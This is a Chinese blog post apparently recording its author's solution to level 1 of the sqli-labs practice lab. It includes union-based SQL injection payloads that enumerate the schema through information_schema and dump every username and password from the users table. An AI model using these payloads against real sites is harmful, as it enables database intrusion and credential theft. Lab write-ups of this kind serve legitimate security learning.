sqli-lib 1(sqli-lib冲关记录)

冲关前言

本人是咸鱼，先定个小目标，至少一天冲一关吧。
冲冲冲！
关于sqli-lib的环境搭建可以看我另一篇
搭建sql-libs的环境

sqli-lib1

首先用万能密码

找到了注入点
测试查询有几个字段，先猜一个（剧情需要）

继续加

还可以加

继续加呗

报错了，说明有3个查询字段，接下来查看回显列

回显字段很明显是2和3
其实不用order by 直接用
union select 1 --+
union select 1,2 --+
union select 1,2,3 --+
来试也行
接下来查询库名

?id=’ union select 1,database(),3 --+
知道了库名是security接下来查询表

知道了有4个表
?id=’ union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+
接下来我们选择表4 users查询字段

?id=’ union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’) --+
得到了两个字段名，开始查询字段内容

?id=’ union select 1,group_concat(username),group_concat(password) from users --+
这第一关是全人类的一小步，是我学习的一大步，冲冲冲，冲烂sqli-lib（然后第二天开始打麻将）